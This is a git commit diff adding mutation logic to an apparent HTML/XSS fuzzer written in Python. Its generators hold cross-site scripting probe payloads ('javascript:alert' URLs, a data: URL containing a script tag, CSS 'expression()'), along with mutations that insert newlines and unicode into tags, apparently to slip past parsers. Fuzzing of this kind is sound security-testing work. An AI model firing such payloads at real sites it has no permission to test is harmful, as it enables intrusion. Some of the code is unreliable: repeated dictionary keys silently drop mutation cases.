add fuzzer logic
This commit is contained in:
parent
196ffdcd4f
commit
c85c499bd4
81
language.py
81
language.py
@ -1,4 +1,8 @@
|
||||
from language_utils import gen_boolean, gen_color, gen_date, gen_email, gen_javascript, gen_number, gen_style, gen_text, gen_url
|
||||
from language_utils import gen_boolean, gen_color, gen_date, gen_email, \
|
||||
gen_javascript, gen_number, gen_style, gen_text, gen_url, gen_name, \
|
||||
gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key
|
||||
from utils import rndstr, choice
|
||||
from mutations import Mutations
|
||||
|
||||
|
||||
class HTMLTag:
|
||||
@ -7,22 +11,55 @@ class HTMLTag:
|
||||
self.self_closing = self_closing
|
||||
self.attributes = []
|
||||
self.children = []
|
||||
self.id = rndstr(8)
|
||||
self.nameattr = rndstr(10)
|
||||
self.rndchrpos = {}
|
||||
self.mutator: Mutations = None
|
||||
|
||||
def set_mutator(self, mutator):
|
||||
self.mutator = mutator
|
||||
|
||||
def add_attribute(self, attr):
|
||||
attr.root = self
|
||||
self.attributes.append(attr)
|
||||
|
||||
def __str__(self) -> str:
|
||||
# self mutate
|
||||
if self.mutator:
|
||||
# mutate attributes
|
||||
for attr in self.attributes:
|
||||
if attr.attr == AttrType.ATTR_TAG_SPECIFIC:
|
||||
cases = [
|
||||
lambda x: self.my_mutate_attr(x),
|
||||
lambda x: self.mutator.mutate_attr(x.value),
|
||||
]
|
||||
choice(cases)(attr)
|
||||
elif attr.attr == AttrType.ATTR_EVENT:
|
||||
self.mutator.mutate_js(attr.value)
|
||||
self.mutator.mutate_tag(tag=self)
|
||||
|
||||
tag = ""
|
||||
if self.self_closing:
|
||||
tag = f"<{self.name} "
|
||||
tag = f"<{self.name}"
|
||||
tag += f" name=\"{self.nameattr}\" "
|
||||
tag += f" id=\"{self.id}\" "
|
||||
for attr in self.attributes:
|
||||
tag += f"{attr} "
|
||||
tag += "/>"
|
||||
else:
|
||||
tag = f"<{self.name}"
|
||||
tag += f" name=\"{self.nameattr}\" "
|
||||
tag += f" id=\"{self.id}\" "
|
||||
for attr in self.attributes:
|
||||
tag += f"{attr} "
|
||||
tag += ">"
|
||||
for child in self.children:
|
||||
tag += f"{child}"
|
||||
tag += f"</{self.name}>"
|
||||
|
||||
for pos in self.rndchrpos:
|
||||
tag = tag[:pos] + self.rndchrpos[pos] + tag[pos:]
|
||||
|
||||
return tag
|
||||
|
||||
|
||||
@ -31,11 +68,18 @@ class HTMLTagAttributeType:
|
||||
TypeBoolean = 1
|
||||
TypeNumber = 2
|
||||
TypeColor = 3
|
||||
TypeJavascript = 4
|
||||
TypeJS = 4
|
||||
TypeStlye = 5
|
||||
TypeURL = 6
|
||||
TypeEmail = 7
|
||||
TypeDate = 8
|
||||
TypeTarget = 9
|
||||
TypeName = 10
|
||||
TypeFlag = 11
|
||||
TypeDrop = 12
|
||||
TypeDir = 13
|
||||
TypeWindowTarget = 14
|
||||
TypeAccessKey = 15
|
||||
|
||||
|
||||
Generators = {
|
||||
@ -43,21 +87,46 @@ Generators = {
|
||||
HTMLTagAttributeType.TypeBoolean: gen_boolean,
|
||||
HTMLTagAttributeType.TypeNumber: gen_number,
|
||||
HTMLTagAttributeType.TypeColor: gen_color,
|
||||
HTMLTagAttributeType.TypeJavascript: gen_javascript,
|
||||
HTMLTagAttributeType.TypeJS: gen_javascript,
|
||||
HTMLTagAttributeType.TypeStlye: gen_style,
|
||||
HTMLTagAttributeType.TypeURL: gen_url,
|
||||
HTMLTagAttributeType.TypeEmail: gen_email,
|
||||
HTMLTagAttributeType.TypeDate: gen_date,
|
||||
HTMLTagAttributeType.TypeTarget: gen_target,
|
||||
HTMLTagAttributeType.TypeName: gen_name,
|
||||
HTMLTagAttributeType.TypeFlag: gen_flag,
|
||||
HTMLTagAttributeType.TypeDrop: gen_drop,
|
||||
HTMLTagAttributeType.TypeDir: gen_dir,
|
||||
HTMLTagAttributeType.TypeWindowTarget: gen_wtarget,
|
||||
HTMLTagAttributeType.TypeAccessKey: gen_access_key,
|
||||
}
|
||||
|
||||
|
||||
class AttrType:
|
||||
ATTR_NONE = -1
|
||||
ATTR_GLOBAL = 0
|
||||
ATTR_EVENT = 1
|
||||
ATTR_TAG_SPECIFIC = 2
|
||||
|
||||
|
||||
class HTMLAttribute:
|
||||
def __init__(self, name, value_type):
|
||||
def __init__(self, name, value_type, glob=True, root=None):
|
||||
self.root = root
|
||||
self.name = name
|
||||
self.kind = value_type
|
||||
self.value = Generators[value_type]()
|
||||
if self.kind == HTMLTagAttributeType.TypeJS:
|
||||
self.attr = AttrType.ATTR_EVENT
|
||||
else:
|
||||
if glob:
|
||||
self.attr = AttrType.ATTR_GLOBAL
|
||||
else:
|
||||
self.attr = AttrType.ATTR_TAG_SPECIFIC
|
||||
|
||||
def __str__(self) -> str:
|
||||
if self.kind == HTMLTagAttributeType.TypeTarget or self.kind == HTMLTagAttributeType.TypeName:
|
||||
self.value = Generators[self.kind](self.root)
|
||||
else:
|
||||
self.value = Generators[self.kind]()
|
||||
if not self.value:
|
||||
return self.name
|
||||
else:
|
||||
|
@ -1,4 +1,4 @@
|
||||
from random import randint
|
||||
from utils import choice
|
||||
|
||||
|
||||
def gen_text():
|
||||
@ -14,23 +14,23 @@ def gen_text():
|
||||
8: lambda: '"alert(1)"',
|
||||
}
|
||||
|
||||
return cases[randint(0, 8)]()
|
||||
return choice(cases)()
|
||||
|
||||
|
||||
def gen_boolean():
|
||||
cases = {
|
||||
0: lambda: 'true',
|
||||
1: lambda: 'false',
|
||||
2: lambda: '1',
|
||||
3: lambda: '0',
|
||||
0: lambda: 'yes',
|
||||
1: lambda: 'no',
|
||||
2: lambda: 'true',
|
||||
3: lambda: 'false',
|
||||
4: lambda: 'null',
|
||||
5: lambda: 'undefined',
|
||||
6: lambda: '""',
|
||||
7: lambda: '[]',
|
||||
8: lambda: '{}',
|
||||
7: lambda: '0',
|
||||
8: lambda: '1',
|
||||
}
|
||||
|
||||
return cases[randint(0, 8)]()
|
||||
return choice(cases)()
|
||||
|
||||
|
||||
def gen_number():
|
||||
@ -46,7 +46,7 @@ def gen_number():
|
||||
8: lambda: '1e-1',
|
||||
}
|
||||
|
||||
return cases[randint(0, 8)]()
|
||||
return choice(cases)()
|
||||
|
||||
|
||||
def gen_color():
|
||||
@ -62,7 +62,7 @@ def gen_color():
|
||||
8: lambda: '#c0c0c0',
|
||||
}
|
||||
|
||||
return cases[randint(0, 8)]()
|
||||
return choice(cases)()
|
||||
|
||||
|
||||
def gen_javascript():
|
||||
@ -81,7 +81,7 @@ def gen_javascript():
|
||||
11: lambda: '{1:alert(1)}',
|
||||
}
|
||||
|
||||
return cases[randint(0, 11)]()
|
||||
return choice(cases)()
|
||||
|
||||
|
||||
def gen_style():
|
||||
@ -92,7 +92,7 @@ def gen_style():
|
||||
2: lambda: 'expression\x600\x60',
|
||||
}
|
||||
|
||||
return cases[randint(0, 2)]()
|
||||
return choice(cases)()
|
||||
|
||||
|
||||
def gen_url():
|
||||
@ -104,7 +104,7 @@ def gen_url():
|
||||
3: lambda: 'data:text/html,<script>alert\x600\x60</script>',
|
||||
}
|
||||
|
||||
return cases[randint(0, 3)]()
|
||||
return choice(cases)()
|
||||
|
||||
|
||||
def gen_email():
|
||||
@ -115,8 +115,48 @@ def gen_email():
|
||||
2: lambda: '@javascript:alert\x600\x60',
|
||||
}
|
||||
|
||||
return cases[randint(0, 3)]()
|
||||
return choice(cases)()
|
||||
|
||||
|
||||
def gen_date():
|
||||
return ''
|
||||
|
||||
|
||||
def gen_target(root):
|
||||
if root is None:
|
||||
return None
|
||||
ids = []
|
||||
ids.append(root.id)
|
||||
for child in root.children:
|
||||
ids.append(child.id)
|
||||
return choice(ids)
|
||||
|
||||
|
||||
def gen_name(root):
|
||||
if root is None:
|
||||
return None
|
||||
names = []
|
||||
names.append(root.nameattr)
|
||||
for child in root.children:
|
||||
names.append(child.nameattr)
|
||||
return choice(names)
|
||||
|
||||
|
||||
def gen_flag():
|
||||
return None
|
||||
|
||||
|
||||
def gen_drop():
|
||||
return choice(["copy", "move", "link"])
|
||||
|
||||
|
||||
def gen_dir():
|
||||
return choice(["ltr", "rtl", "auto"])
|
||||
|
||||
|
||||
def gen_wtarget():
|
||||
return choice(["_self", "_blank", "_parent", "_top"])
|
||||
|
||||
|
||||
def gen_access_key():
|
||||
return 'X'
|
||||
|
104
mutations.py
Normal file
104
mutations.py
Normal file
@ -0,0 +1,104 @@
|
||||
from utils import choice, rndunicode, choice_percent
|
||||
|
||||
|
||||
class Mutations:
|
||||
def __init__(self, strongness=0):
|
||||
self.strongness = strongness
|
||||
|
||||
def mutate_attr(self, attr):
|
||||
cases = {
|
||||
70: lambda x: x,
|
||||
10: self.mutate_attr_newline,
|
||||
10: self.mutate_attr_unicode,
|
||||
10: self.mutate_attr_unicode_rnd_pos,
|
||||
}
|
||||
|
||||
return choice_percent(cases)(attr)
|
||||
|
||||
def mutate_value(self, value: str):
|
||||
cases = {
|
||||
70: lambda x: x,
|
||||
20: self.mutate_value_newline,
|
||||
10: self.mutate_value_unicode,
|
||||
}
|
||||
|
||||
return choice_percent(cases)(value)
|
||||
|
||||
def mutate_tag(self, tag):
|
||||
cases = {
|
||||
70: lambda x: x,
|
||||
30: self.mutate_tag_insert_random_pos,
|
||||
}
|
||||
|
||||
return choice_percent(cases)(tag)
|
||||
|
||||
def mutate_js(self, js: str):
|
||||
cases = {
|
||||
70: lambda x: x,
|
||||
30: self.mutate_js_insert_random_pos,
|
||||
}
|
||||
|
||||
return choice_percent(cases)(js)
|
||||
|
||||
@staticmethod
|
||||
def mutate_attr_newline(attr):
|
||||
attr.name = f"{attr.name}\n"
|
||||
return attr
|
||||
|
||||
@staticmethod
|
||||
def mutate_attr_unicode(attr):
|
||||
attr.name = f"{attr.name}{rndunicode()}"
|
||||
return attr
|
||||
|
||||
@staticmethod
|
||||
def mutate_attr_unicode_rnd_pos(attr):
|
||||
pos = choice(range(len(attr.name)))
|
||||
attr.name = f"{attr.name[:pos]}{rndunicode()}{attr.name[pos:]}"
|
||||
return attr
|
||||
|
||||
@staticmethod
|
||||
def mutate_value_newline(attr):
|
||||
# find a random position in the value
|
||||
# and insert a newline
|
||||
pos = choice(range(len(attr.value)))
|
||||
attr.value = f"{attr.value[:pos]}\n{attr.value[pos:]}"
|
||||
return attr
|
||||
|
||||
@staticmethod
|
||||
def mutate_value_unicode(attr):
|
||||
pos = choice(range(len(attr.value)))
|
||||
attr.value = f"{attr.value[:pos]}{rndunicode()}{attr.value[pos:]}"
|
||||
return attr
|
||||
|
||||
@staticmethod
|
||||
def mutate_tag_insert_random_pos(tag):
|
||||
pos = choice(range(0, len(str(tag))))
|
||||
|
||||
chars = {
|
||||
50: lambda: "\n",
|
||||
20: lambda: rndunicode(),
|
||||
20: lambda: choice([" ", "\t"]),
|
||||
10: lambda: choice(["\\", "'", "/", '"']),
|
||||
}
|
||||
|
||||
nmutations = choice(range(1, 4))
|
||||
|
||||
for _ in range(nmutations):
|
||||
tag.rndchrpos[pos] = choice_percent(chars)()
|
||||
|
||||
return tag
|
||||
|
||||
@staticmethod
|
||||
def mutate_js_insert_random_pos(js: str):
|
||||
pos = choice(range(len(js)))
|
||||
chars = {
|
||||
70: lambda: "\n",
|
||||
20: lambda: choice([" ", "\t"]),
|
||||
10: lambda: choice(["\\", "'", "/", '"']),
|
||||
}
|
||||
|
||||
nmutations = choice(range(1, 4))
|
||||
|
||||
for _ in range(nmutations):
|
||||
js = f"{js[:pos]}{choice_percent(chars)()}{js[pos:]}"
|
||||
return js
|
966
tags.py
966
tags.py
@ -19,7 +19,6 @@ Tags = [
|
||||
HTMLTag('big', self_closing=False),
|
||||
HTMLTag('blockquote', self_closing=False),
|
||||
HTMLTag('body', self_closing=False),
|
||||
HTMLTag('br', self_closing=True),
|
||||
HTMLTag('button', self_closing=False),
|
||||
HTMLTag('canvas', self_closing=False),
|
||||
HTMLTag('caption', self_closing=False),
|
||||
@ -88,13 +87,9 @@ Tags = [
|
||||
HTMLTag('pre', self_closing=False),
|
||||
HTMLTag('progress', self_closing=False),
|
||||
HTMLTag('q', self_closing=False),
|
||||
HTMLTag('rp', self_closing=False),
|
||||
HTMLTag('rt', self_closing=False),
|
||||
HTMLTag('ruby', self_closing=False),
|
||||
HTMLTag('s', self_closing=False),
|
||||
HTMLTag('samp', self_closing=False),
|
||||
HTMLTag('script', self_closing=False),
|
||||
HTMLTag('section', self_closing=False),
|
||||
HTMLTag('select', self_closing=False),
|
||||
HTMLTag('small', self_closing=False),
|
||||
HTMLTag('source', self_closing=True),
|
||||
@ -103,7 +98,6 @@ Tags = [
|
||||
HTMLTag('strong', self_closing=False),
|
||||
HTMLTag('style', self_closing=False),
|
||||
HTMLTag('sub', self_closing=False),
|
||||
HTMLTag('summary', self_closing=False),
|
||||
HTMLTag('sup', self_closing=False),
|
||||
HTMLTag('svg', self_closing=False),
|
||||
HTMLTag('table', self_closing=False),
|
||||
@ -127,122 +121,846 @@ Tags = [
|
||||
HTMLTag('xmp', self_closing=False),
|
||||
]
|
||||
|
||||
Attributes = [
|
||||
# events
|
||||
HTMLAttribute('onafterprint', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onafterscriptexecute', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onanimationcancel', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onanimationend', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onanimationiteration', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onanimationstart', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onauxclick', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onbeforecopy', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onbeforecut', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onbeforeinput', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onbeforeprint', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onbeforescriptexecute',
|
||||
HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onbeforetoggle', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onbeforeunload', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onbegin', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onblur', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onbounce', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('oncanplay', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('oncanplaythrough', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onchange', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onclick', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onclose', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('oncontextmenu', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('oncopy', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('oncuechange', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('oncut', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ondblclick', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ondrag', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ondragend', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ondragenter', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ondragleave', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ondragover', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ondragstart', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ondrop', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ondurationchange', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onend', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onended', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onerror', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onfinish', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onfocus', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onfocusin', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onfocusout', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onfullscreenchange', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onhashchange', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('oninput', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('oninvalid', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onkeydown', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onkeypress', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onkeyup', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onload', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onloadeddata', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onloadedmetadata', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onmessage', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onmousedown', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onmouseenter', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onmouseleave', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onmousemove', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onmouseout', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onmouseover', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onmouseup', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onmousewheel', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onmozfullscreenchange',
|
||||
HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onpagehide', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onpageshow', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onpaste', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onpause', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onplay', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onplaying', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onpointerdown', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onpointerenter', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onpointerleave', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onpointermove', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onpointerout', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onpointerover', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onpointerrawupdate', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onpointerup', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onpopstate', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onprogress', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onratechange', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onrepeat', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onreset', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onresize', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onscroll', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onscrollend', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onsearch', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onseeked', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onseeking', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onselect', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onselectionchange', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onselectstart', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onshow', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onstart', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onsubmit', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ontimeupdate', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ontoggle', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ontoggle(popover)', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ontouchend', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ontouchmove', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ontouchstart', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ontransitioncancel', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ontransitionend', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ontransitionrun', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('ontransitionstart', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onunhandledrejection', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onunload', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onvolumechange', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onwebkitanimationend', HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onwebkitanimationiteration',
|
||||
HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onwebkitanimationstart',
|
||||
HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onwebkittransitionend',
|
||||
HTMLTagAttributeType.TypeJavascript),
|
||||
HTMLAttribute('onwheel', HTMLTagAttributeType.TypeJavascript),
|
||||
EventsAttributes = [
|
||||
HTMLAttribute('onafterprint', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onafterscriptexecute', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onanimationcancel', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onanimationend', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onanimationiteration', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onanimationstart', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onauxclick', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onbeforecopy', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onbeforecut', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onbeforeinput', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onbeforeprint', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onbeforescriptexecute', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onbeforetoggle', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onbeforeunload', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onbegin', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onblur', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onbounce', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('oncanplay', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('oncanplaythrough', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onchange', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onclick', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onclose', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('oncontextmenu', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('oncopy', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('oncuechange', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('oncut', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('ondblclick', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('ondrag', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('ondragend', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('ondragenter', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('ondragleave', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('ondragover', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('ondragstart', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('ondrop', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('ondurationchange', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onend', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onended', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onerror', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onfinish', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onfocus', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onfocusin', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onfocusout', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onfullscreenchange', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onhashchange', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('oninput', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('oninvalid', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onkeydown', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onkeypress', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onkeyup', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onload', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onloadeddata', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onloadedmetadata', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onmessage', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onmousedown', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onmouseenter', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onmouseleave', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onmousemove', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onmouseout', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onmouseover', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onmouseup', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onmousewheel', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onmozfullscreenchange', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onpagehide', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onpageshow', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onpaste', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onpause', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onplay', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onplaying', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onpointerdown', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onpointerenter', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onpointerleave', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onpointermove', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onpointerout', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onpointerover', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onpointerrawupdate', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onpointerup', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onpopstate', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onprogress', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onratechange', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onrepeat', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onreset', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onresize', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onscroll', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onscrollend', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onsearch', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onseeked', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onseeking', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onselect', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onselectionchange', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onselectstart', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onshow', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onstart', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('onsubmit', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('ontimeupdate', HTMLTagAttributeType.TypeJS),
|
||||
HTMLAttribute('ontoggle', HTMLTagAttributeType.TypeJS),
|
||||
